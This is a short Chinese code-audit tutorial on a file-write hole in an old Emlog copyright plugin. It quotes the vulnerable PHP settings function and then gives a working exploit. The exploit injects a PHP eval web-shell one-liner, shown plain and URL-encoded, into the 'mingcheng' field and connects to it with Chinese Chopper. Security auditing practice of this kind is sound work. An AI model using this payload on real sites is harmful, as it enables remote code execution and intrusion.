用的是较为古老的版本v1.0,这里只是作为一个代码审计的练习
项目地址
https://www.jb51.net/codes/105832.html
这里的漏洞点在
\content\plugins\ttjtg_banquan\ttjtg_banquan_setting.php,48-73行
<?php
}
function plugin_setting()
{
$fz_kaiguan = isset($_POST['fz_kaiguan']) ? trim($_POST['fz_kaiguan']) : '';
$bk_yanse = isset($_POST['bk_yanse']) ? trim($_POST['bk_yanse']) : '';
$zt_yanse = isset($_POST['zt_yanse']) ? trim($_POST['zt_yanse']) : '';
$mingcheng = isset($_POST['mingcheng']) ? trim($_POST['mingcheng']) : '';
print_r($_POST);
$data = "<?php
\$fz_kaiguan = '".$fz_kaiguan."';
\$bk_yanse = '".$bk_yanse."';
\$zt_yanse = '".$zt_yanse."';
\$mingcheng = '".$mingcheng."';
?>";
if($bk_yanse != '' && $fz_kaiguan != ''&& $zt_yanse != ''&& $mingcheng != '')
{
$file = EMLOG_ROOT.'/content/plugins/ttjtg_banquan/ttjtg_banquan_config.php';
@ $fp = fopen($file, 'wb') OR emMsg('读取文件失败,如果您使用的是Unix/Linux主机,请修改文件/content/plugins/ttjtg_banquan/ttjtg_banquan_config.php的权限为777。如果您使用的是Windows主机,请联系管理员,将该文件设为everyone可写');
@ $fw = fwrite($fp,$data) OR emMsg('写入文件失败,如果您使用的是Unix/Linux主机,请修改文件/content/plugins/ttjtg_banquan/ttjtg_banquan_config.php的权限为777。如果您使用的是Windows主机,请联系管理员,将该文件设为everyone可写');
fclose($fp);
}
}
?>
}
?>
这里并没有对要写入的数组进行处理就直接写入了\content\plugins\ttjtg_banquan\ttjtg_banquan_config.php,我们只要闭合前面的单引号在写入一句话,这里最好是mingcheng在注释掉后面的语句
通过全局搜索可以看到admin/plugin.php调用了这个函数,41-46行
if ($action == '' && $plugin) {
include View::getView('header');
require_once "../content/plugins/{$plugin}/{$plugin}_setting.php";
plugin_setting_view();
include View::getView('footer');
}
通过变量plugin传参,plugin是通过get传参,直接访问
http://127.0.0.1/admin/plugin?plugin=ttjtg_banquan,直接点保存用bp抓包
将’; eval($_POST[moon]);//进行url编码拼接到变量mingcheng后发送
%27%3b%65%76%61%6c%28%24%5f%50%4f%53%54%5b%6d%6f%6f%6e%5d%29%3b%2f%2f
成功写入
菜刀连接
http://www.mm.com:8080/content/plugins/ttjtg_banquan/ttjtg_banquan_config.php